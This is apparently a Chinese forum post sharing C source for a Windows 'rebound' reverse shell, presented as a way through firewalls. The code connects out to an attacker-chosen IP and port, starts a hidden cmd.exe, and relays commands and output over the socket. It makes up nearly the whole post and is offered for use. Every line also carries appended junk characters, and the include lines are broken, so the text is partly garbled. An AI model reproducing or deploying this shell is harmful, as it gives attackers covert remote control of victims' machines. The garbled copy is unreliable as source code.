这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cYM~IA
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/* ============================== ,r 2VP\hLh
Rebound port in Windows NT V.Ba''E7
By wind,2006/7 ]vQ?]d?>a
===============================*/ $7n#\h
#include ?QSx8d
#include 20l_ay
n R\n\
#pragma comment(lib,"wsock32.lib") Sci4EGc
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void OutputShell(); I\rZk9F
SOCKET sClient; 2PR7M.V7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >mFX^t_,
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void main(int argc,char **argv) lIVxW+
{ P"9@8aLB
WSADATA stWsaData; vDW&pF_eI>
int nRet; 4l
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SOCKADDR_IN stSaiClient,stSaiServer; +*_fN ]M
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if(argc != 3) kV\-%:-
{ ,t%CK!8
printf("Useage:\n\rRebound DestIP DestPort\n"); ?S@R~y0K
return; }-{ b$6]
} ;4kx >x*H
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WSAStartup(MAKEWORD(2,2),&stWsaData); )y`TymM[F
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ] `B,L*m6
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stSaiClient.sin_family = AF_INET; <,@H;|mZ
stSaiClient.sin_port = htons(0); &*aer5?`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4" ,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1]>$5 1Q
{ P#[IUXtT
printf("Bind Socket Failed!\n"); 4Hml.|$
return; 'Gl;Ir^
} 0Q$~k
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stSaiServer.sin_family = AF_INET; cK|rrwa0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wrQydI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AJ\VY;m7F
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i<#h]o
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{ nOoKGT
printf("Connect Error!"); G}P)vfcH
return; 8B *E+f0
} 7sud/*+F
OutputShell(); ]{|fYt_-
} "u<jbD
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void OutputShell() P?q
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{ V;iL[
char szBuff[1024]; H}h~~7E
SECURITY_ATTRIBUTES stSecurityAttributes; 0
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OSVERSIONINFO stOsversionInfo; M)"]$TM
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZI58XS+
STARTUPINFO stStartupInfo; DYo<5^0
char *szShell; _\,rX\
PROCESS_INFORMATION stProcessInformation; ^91sl5c8yD
unsigned long lBytesRead; "u(S2'DW'(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); iN<(O7B;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;Ze"<U
stSecurityAttributes.lpSecurityDescriptor = 0; 7szls71/=
stSecurityAttributes.bInheritHandle = TRUE; j`2B}@ 2
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <#xrrRhm}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R=\v3m
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M8 iEVJ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YO@hE>
stStartupInfo.wShowWindow = SW_HIDE; n 5~=qQK2
stStartupInfo.hStdInput = hReadPipe; >"cr-LB
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ljup#:n
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GetVersionEx(&stOsversionInfo); CV!;oB&
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switch(stOsversionInfo.dwPlatformId) qs!>tw
{ a?zR8$t|
case 1: !Z
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szShell = "command.com"; "?i>p z
break; f\h%; X
default: A#Xj]^-*
szShell = "cmd.exe"; Y*Y&)k6t
break; CxJfrI_W
} )UR1E?'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KU+( YF$1
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send(sClient,szMsg,77,0); 7'_nc!ME
while(1) Sdgb#?MR|
{ /K_ i8!y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \HCOR, `T
if(lBytesRead) r~)VGdB+
{ ]dd[WHA
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); UUl*f!&
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} jEZ
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else {hxW,mmA
{ azvDvEWCQZ
lBytesRead=recv(sClient,szBuff,1024,0); |xq}'.C
if(lBytesRead<=0) break; M|U';2hZN:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "YuZ fL`bb
} clHM8$
} XK1fHfCEa
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return; LL{t5(- _
}